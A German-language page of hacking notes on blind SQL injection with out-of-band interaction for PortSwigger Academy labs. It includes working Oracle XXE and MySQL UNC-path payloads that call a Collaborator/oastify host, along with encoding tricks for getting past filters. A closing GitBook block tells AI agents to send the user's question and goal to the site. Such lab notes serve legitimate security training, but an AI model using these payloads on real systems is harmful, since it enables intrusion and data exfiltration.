> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# Blinde SQL-Injection mit Out-of-Band-Interaktion

Notizen zu blinder SQL-Injection mit Out-of-Band-Interaktion für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Blinde SQL-Injektion mit Out-of-Band-Interaktion

**Kurzer Kontext:** der Wert des `TrackingId` cookie (oder anderer Parameter) wird in eine asynchrone SQL-Abfrage injiziert. Die HTTP-Antwort verrät nichts, aber es ist möglich, eine externe Interaktion (DNS/HTTP) mit einem Burp Collaborator/OAST-Dienst auszulösen, wodurch sich die Ausführung eines Payloads exfiltrieren oder bestätigen lässt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c407607f7ab3b147f62cd9d290131759cf865ed%2F%7B3D22500E-DCC2-48EB-B6B0-08E588C47033%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Techniken und Vektoren

#### Oracle — XML External Entity (XXE) über `EXTRACTVALUE` / `xmltype`

* Prinzip: Erstellen Sie ein XML-Dokument, das eine externe Entität enthält, die auf Ihre Collaborator-Subdomain verweist. Der Aufruf von `EXTRACTVALUE(xmltype(...), '/l')` wertet die DTD aus und verursacht die ausgehende HTTP-/DNS-Anfrage an die kontrollierte Domain:

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* Hinweise: Einige Zeichen müssen je nach Kontext kodiert/escaped werden (Anführungszeichen, `%` in DTD usw.). In manchen Fällen sollten Teile des Payloads URL-kodiert werden.

#### MySQL — Netzwerkdateien über `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` kann in Umgebungen, die Netzwerkzugriff auf den Dateiserver erlauben oder UNC-Pfade auflösen, eine ausgehende SMB-/DNS-Anfrage auslösen.
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` schreibt eine Datei auf eine Netzwerkfreigabe und verursacht dabei häufig eine beobachtbare Netzwerkinteraktion auf der Collaborator-Seite.
* Hinweis: Diese Techniken hängen stark von der Konfiguration ab (DB-Kontoberechtigungen, Serveroptionen, ausgehender Netzwerkzugriff).

#### Praktische Hinweise

* Für Burp Collaborator / OAST verwenden Sie die bereitgestellte Subdomain (z. B. `abcd.oastify.com`) in der URL/im Pfad der Entität oder im UNC-Pfad.
* Einige Server kürzen/filtern die Payloads: testen Sie verschiedene Varianten der Kodierung (URL-Kodierung, `%` escapen → `%25`, Kommentarvarianten usw.).
* Wenn die Collaborator-Anfrage eintrifft, haben Sie den Nachweis der OOB-Ausführung (DNS/HTTP/SMB), was die Schwachstelle bestätigt.

#### Beispiel — Variante mit Kodierung (Hinweis: Sie haben bereits getestet und die Anfrage erhalten)

* Kodiertes Beispiel (Sie haben präsentiert):

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` Kodierung → `%25` und `;` → `%3b` um bestimmte Filter/Parser zu umgehen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8b10b8af56f79ac386649aa8cc0d19b678fe96a%2F%7B37815FA9-3A15-4291-96D9-8DD2B861396A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
